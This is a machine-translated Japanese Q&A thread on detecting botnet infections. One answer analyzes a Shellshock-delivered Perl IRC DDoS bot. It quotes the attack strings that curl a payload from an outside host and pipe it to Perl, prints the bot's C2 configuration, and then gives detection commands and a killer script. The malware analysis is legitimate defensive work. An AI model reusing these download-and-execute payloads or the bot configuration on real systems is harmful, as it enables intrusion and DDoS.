A botnet は、侵入先のコンピュータのコレクションであり、それぞれが「ボット」と呼ばれ、インターネットに接続されています。コンピューターが攻撃者によって侵害された場合、マルウェア内にボットネットの一部になるように命令するコードが含まれていることがよくあります。 「botmaster」または「bot herder」は、IRCやhttpなどの標準ベースのネットワークプロトコルを介して、これらの侵入されたコンピュータを制御します。
ボットネットベースのDDoS攻撃でコンピューターが使用されていることを検出する方法はありますか?
奇妙なトラフィックを検出して私のコンピューターからのアクティビティを悪用するソフトウェアなどのツールはありますか?
マシンがボットネットの一部であるかどうかを検出する簡単な方法はありません。代わりに、最善の防御策は予防です。そもそも感染を避けることです。
セキュリティ違反を回避する方法についてはたくさん書かれていますが、ここで繰り返すことはできません。手始めに、たとえば 非技術者向けのセキュリティガイド 、 Windows hardening 、 Hardening Linux Server 、または-を読むことができます。 Secure Linux Desktop 。幸せな読書!
カーネルと実行可能ファイルを実行前に分析することは、通常は安全な方法ですが、SELinuxなどの強力なOSアクセス制御モデルと組み合わせるのが最適です。
自己変更または自己チェックコードでバックドアを見つけることは困難ですが、通常、自己変更または自己チェックコード自体の存在はマルウェアの指標です。たとえば、MANDIANT Red Curtainツールは、マルウェアアナリストがコードのセクションの高いエントロピー、またはこれらのセクションの奇妙な名前/パターンを検出するのに役立ちます。
さらに、トレース、エミュレーションなど、他の多くのプラクティスが存在します(すべてが文書化されているわけではありません)。マルウェアアナリストは静的分析から動的分析に移行し、非常にすばやく(全体像を把握するため)戻るため、これらの方法をすべて1つのツールまたは手法に組み合わせることは一般的ではありません。ただし、最小限のツールセットを使用した段階的なアプローチでは、非常に短い時間で多くのことを達成できます。たとえば、サンドボックスで実行する前に、PE実行可能ファイルに対して pescanner.py を使用し、PEプロセスのメモリダンパーや( [〜#〜]ピン[〜#〜] 。
最近 の文献のいくつかは、この研究分野でますます優れています。
まず、悪意のあるアクティビティの存在を隠すためにすべてのユーティリティの出力が偽造される可能性があるため、侵入先のコンピュータを信頼することはできません。
一般に、堅牢なセキュリティ対策が施されたコンピューターがボットネットの一部になることはないと思います。信頼できるソースからコードをインストールしたり、強力なパスワード(他では使用されない)を使用したりする場合など。私のISPがボットの可能性を示すIPアドレスからの異常なアクティビティの報告を受けたと報告した場合、またはユーザーからの指示がない限り彼らはだまされて、宣伝どおりに機能しないソフトウェアをインストールし、トロイの木馬である可能性が高いことに気づきました。
これらの場合、私は潜在的なボットの兆候をテストし始めます。
ネットワーク活動を監視します。 netstat
を実行します-すべての接続は多かれ少なかれ意味がありますか? (ローカル接続は無視してください。認識できない外部IPでwhoisを実行してください)。 netstat
の出力は偽造されている可能性があるので、ローカルネットワーク上の別のコンピューター(安全だと思われる)からWireshark(ネットワークアナライザー)を実行し、奇妙な非ローカルIPとの間の異常なトラフィックがないか確認してください。アドレス(ルーター/ネットワークプリンターなどからのルーチンのことではありません)?
同じディストリビューションの live cd を起動して(ユーティリティを信頼できるように)、重要なユーティリティ(/bin
、/sbin/
、/usr/bin/
など)でチェックサム(md5)を実行し、既知のチェックサムと比較します。同じOS /バージョンの安全なコンピューター(または新規インストールを行い、すべての更新を実行してから、比較するチェックサムを生成します)。 (チェックサムが一致しない場合は、ユーティリティの更新が原因である可能性があります。バージョンを確認してさらに調査してください)。この回答ではlinux/unixシステムを想定していますが、何を確認すればよいのかわかっていれば、Windowsでも同じことができるでしょう。
ボットの証拠を見つけたら、データ(実行可能ファイルではない)をバックアップし、ハードディスクをきれいに拭き取り、異なるパスワードで安全なソースからOSを再インストールします。侵入先のコンピュータからマクロ(doc、pdfなど)を含む可能性のあるドキュメントを開くことには非常に注意が必要です(管理者/ルートとしてログインせずに、これらのファイルを再度表示する前に、関連するプログラムでマクロを無効にしてください)。ウイルススキャナーをインストールします)。
本当に良いボットは、カーネルから身を隠すでしょう。
これを検出する唯一の方法は、外部の正常なマシンを使用して、マシンとインターネット間のトラフィックを盗聴することです。それでも、ボットが探していたときにボットが休止していたかどうかを知る方法はありません。
もう1つのオプションは、既知の良好な(できれば読み取り専用の)メディア(CDまたはDVDなど)からマシンを起動し、マシンのフォレンジック分析を行って感染の痕跡を探すことです。
ダークネットは、ネットワーク上の感染したマシンを発見するのに役立つ良い方法でもあります。これは本質的には、通常はトラフィックがルーティングされないはずのLAN上のサブネットであり、ロギングマシンがその中にあり、どのマシンが通常のネットワーク設定に従っていないかを検出します。感染するネットワーク上のノードをスキャンします。
正常な動作と異常な動作を把握しておく必要があるため、他のコンピュータに感染しようとする感染したマシンは、親指のように突き出ます。
これは、この特定のバージョンmalware(後で呼ばれるtool)...の周囲で行われました...これは一般的な方法ではありません。
マルウェアやウイルスと遊ぶことは有害になる可能性があります!専用ハードウェア、ユーザー、理想的にはインターネットに接続されていないものを使用してください!
警告されました!
私はこの回答を実用的なケースとして投稿しました。これは、これをすでに回避しているためですtool 2012年に初めて、そして最近はShellshockバグのためそして悪用...
以下と同じ文字列を含む疑わしいメールになりましたTo, References, Cc, From, Subject, Date, Message-ID, Comments, Keywords, Resent-Date and Resent-From
:
() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.x.x/ex.txt|Perl;lwp-downloa..
私はまずこれが面白いと思ったので、メールユーザーとサーバーを確認しました。
念のため、マルウェアをダウンロードしようとしましたが、残念ながらサーバーからドロップされました。
...数日後、1つのWebサーバーログでこれを確認しました。
... [27/Oct/2014:05:40:56 +0100] "GET /admin.cgi HTTP/1.0" 403 2132 \
"() { :; }; curl http://202.143.x.x/lib21/index.cgi | Perl" \
フィールドreferer
とuser-agent
には同じ文字列が含まれています。しかし、別のURLで。
今回はtoolをダウンロードできました:
wget http://202.143.x.x/lib21/index.cgi
less index.cgi
#!/usr/bin/Perl
use MIME::Base64;
eval (decode_base64('DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI...
...IyMjIyMj'));
最初のステップは、それらを読みやすくすることです。これを行うには、eval
をprint
に置き換えるだけです。
Perl <(sed s/eval/print/ index.cgi) >ircBot.pl
sed -ne '3,11{s/^\(.\{65\}\).*$/\1/;p}' ircBot.pl
#################################################################
## DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team ## [
## Stealth MultiFunctional IrcBot writen in Perl ##
## Teste on every system with Perl instlled ##
## ##
## This is a free program used on your own risk. ##
## Created for educational purpose only. ##
## I'm not responsible for the illegal use of this program. ##
#################################################################
教育目的 !?
だから私たちは勉強することができます...
解読されたバージョン を見つけることができます。 (私は私の投稿ではありません、 この投稿 を読んだ後、まったく同じ設定でそれらを見つけました)
注:runningこの種類のツールには、接続されていない専用のハードウェアを使用し、専用のvirtual machineを実行しますそれらを上位レベルから追跡、監視、または停止できるようにします。
31 ##### [ Configuration ] #####
32 #############################
33
34 my @rps = ("/usr/local/Apache/bin/httpd -DSSL",
35 "/usr/sbin/httpd -k start -DSSL",
36 "/usr/sbin/httpd",
37 "/usr/sbin/sshd -i",
...
43 "/usr/sbin/acpid",
44 "/usr/sbin/cron");
45 my $process = $rps[Rand scalar @rps];
46
47 my $vers = "\001VERSION - unknown command.\001";
48 my $ircname = "shock";
49 my $realname = `uname -vr`;
50 my $nick = "Perl";
51
52 $server = 'fflyy.su' unless $server;
53 my $port = '8080';
54
55 my $linas_max='10';
56 my $sleep='5';
57
58 my $homedir = "/tmp";
59 my $version = 'DDoS Perl Bot v1.0';
60
61 my @admins = ("M","st0n3d","x00","Jorgee");
62 my @hostauth = ("lolhome");
63 my @channels = ("#mperl2");
64 $unamea = `uname -a`;
65 $uid = `id`;
66
67 my $pacotes = 1;
68
69 #################################################################
70 ##### [ Stop Editing if you dont know what are you doing. ] #####
さて、31〜70行目で、あなたは設定を見つけるでしょう:
$process
が45行目で文字列の配列からランダムに定義されていることはすでに確認できました。
$server, $port, $admins, @hostauth and @channels
を変更した後、ツールを実行します。
最初に言うこと:このツールは多くのCPUを加熱します。大きなシステムではこれは無害である可能性がありますが、私の貧弱な構成では、これは重要でした。
ボットは私のircに接続されています。スクリプトのヘッダーに表示されているように彼に尋ねることができ、/msg
を送信すると、シェルコンソールのように使用できるプライベートチャットルームが開かれます。
サーバー側では、一度実行するとそれらは消えます。 ps ax
を実行すると、以前に存在しなかったプロセスhttpd
が表示されますが、...
さて、今は十分です。それがどこにあるかをはっきりと示すために実行したいくつかのコマンドがあります(もちろん、このコマンドはすべてrootまたはSudo
として実行します):
実行中のPerl実行可能ファイルを検索しています:
ls -l /proc/*/exe | grep Perl
lrwxrwxrwx 1 www-data www-data 0 oct 30 09:39 /proc/23664/exe -> /usr/bin/Perl
これにより、Perlを実行可能として使用するすべてのプロセスが表示されます。これはcmdline
に基づいていません。
TCP接続を探しています:
netstat -tanp | grep :8080
tcp 0 0 192.168.4.3:33083 192.168.4.1:8080 ESTABLISHED 23664/httpd -DSSL
この特定の構成(マルウェアの生成)では、ポート8080
がリモートポートとして使用されます。ポート8080
を使用して通常のサーバーを保持している場合でも、このポートはlocal portとして使用されます。
Webサーバープロセスによって保持されていないユーザーのWebサーバーPIDを探しています
ps --user www-data ho ppid,pid,cmd | sed -ne 's/^ *1 //p'
23664 /usr/local/Apache/bin/httpd -DSSL
CPUを消費するプロセスの検索:
top
top - 09:48:00 up 58 days, 21:51, 1 user, load average: 0.02, 0.03, 0.00
Tasks: 15 total, 3 running, 12 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.7 us, 0.3 sy, 0.0 ni, 98.9 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 262144 total, 88164 used, 173980 free, 0 buffers
KiB Swap: 0 total, 0 used, 0 free, 0 cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
23664 www-data 20 0 7408 2956 1204 R 91.7 1.1 8:30.73 /usr/local/apac
1 root 20 0 2152 724 620 S 0.0 0.3 0:36.47 init
1028 root 20 0 2248 776 568 S 0.0 0.3 0:03.76 rpcbind
1039 statd 20 0 2324 1072 820 S 0.0 0.4 0:00.00 rpc.statd
さて、これでこれを止める時が来ました:
kill -9 23664
さらなる使用のために、このツールは変更されないままですが、これをすぐに書きましたperlircbotKiller.pl
(少なくとも同じ権限で実行できます)ボット自身よりも...またはルート、推測!)
#!/usr/bin/Perl
my @rps=("/usr/local/Apache/bin/httpd -DSSL", "/usr/sbin/httpd -k start -DSSL",
"/usr/sbin/httpd", "/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D",
"/usr/sbin/Apache2 -k start", "/sbin/syslogd", "/sbin/klogd -c 1 -x -x",
"/usr/sbin/acpid", "/usr/sbin/cron");
opendir my $dh,"/proc";
map {
open my $fh,"/proc/".$_."/cmdline";
my $cmdline=<$fh>;
close $fh;
$cmdline=~s/\0*$//g;
if (grep { $cmdline eq $_ } @rps) {
printf "Sending SIGKILL to process %d\n", $_;
kill 9, $_;
}; }
grep { readlink("/proc/".$_."/exe") =~ m|/Perl| }
grep { /^\d+$/ }
readdir $dh;
...そして、私のファンは再び遅くなっています...
少し書き直した後、私は少し書きました Perlスクリプト
難読化されたスクリプトを検索Perl、pythonまたはphpApache、acpi、httpd、sshdなど...
親pidが1
であるプロセスを検索します。
開いている接続のリスト
不審なプロセスを削除する簡単な方法を提供します。
Suspicious process '5089',
has parent pid: '1',
run '/usr/bin/Perl',
claim to be '/sbin/syslogd'
and has port tcp '8080'
open to '93.174.93.80'
Send SIGKILL to 5089 (Y/n)? Y
これは、現在発生しているマルウェアの多くの派生物で問題なく動作しますが、同じ方法を使用して他のマルウェアでも動作することを願っています。
このtool
(Perl ircボット)は完全には見えませんが、実行されると、感染したユーザーが実行できるすべてのことを提供します。 (ユーザーの権限付き)。
このバージョンのShellshock攻撃では、マルウェアは感染したシステムに保存されないため、単純なrebootでそれらを削除できます。
他のツールに注意してください。攻撃者はこれを使用すると、これを使用できますtoolが開始されます!特に:cron
およびat
ですが、スクリプトまたはバイナリserが実行され、変更される可能性があります。
その他のローカルセキュリティの問題に注意してくださいローカル権限の昇格も許可します!!
1)シャットダウン時にバッテリーが消耗します。
2)バッテリーまたは電源コードが取り外されない限り、PCまたはラップトップが実際にシャットダウンすることはありません。
3)ワイヤレスアダプターが無効になっていますが、リモートワイヤレス接続がまだ存在している必要があります。 (さまざまな理由により、ここには記載しません)
4)不明なユーザーがC:ドライブなどの所有権を持っている。
5)system32内のファイルおよびCyberlink、Bluetooth、Microsoft Shellなどのプログラムファイル(x86)へのアクセス許可を失った。
6)復元ポイントが消えた。
7)マカフィーまたはアバストのファイルシュレッダーは、突然断片化できないか、断片化しているように見えます。
8)行っていないファイアウォールの変更。
9)Windowsパーティションの外でシステムを復元しているときに、画面上にFBIデバッグモード
10)9)の場合、「システムが破壊された」。
Uはネットワークアナライザーを使用できます。発信トラフィックを確認してください。ほとんどの攻撃は、http/tcp/udpプロトコルで巨大なパケットサイズ/高速間隔で開始します。
お使いのPCが頻繁に未知のサーバー/ IPに接続し、それに定期的に投稿/接続する場合。 BマスターからのC&Cサーバーによって制御されていることを確認できます。
ボットの感染をチェックするためにTrendMicroから利用可能なツールがあります。
PCまたはネットワークがボットであるかどうかを確認するには、kasperskyサービス https://blog.kaspersky.com/simda-botnet-check/8304/ またはRUBotted( http: //free.antivirus.com/us/rubotted/ )by Trend Micro潜在的な感染やボットに関連する不審な活動についてコンピューターを監視すると主張しています。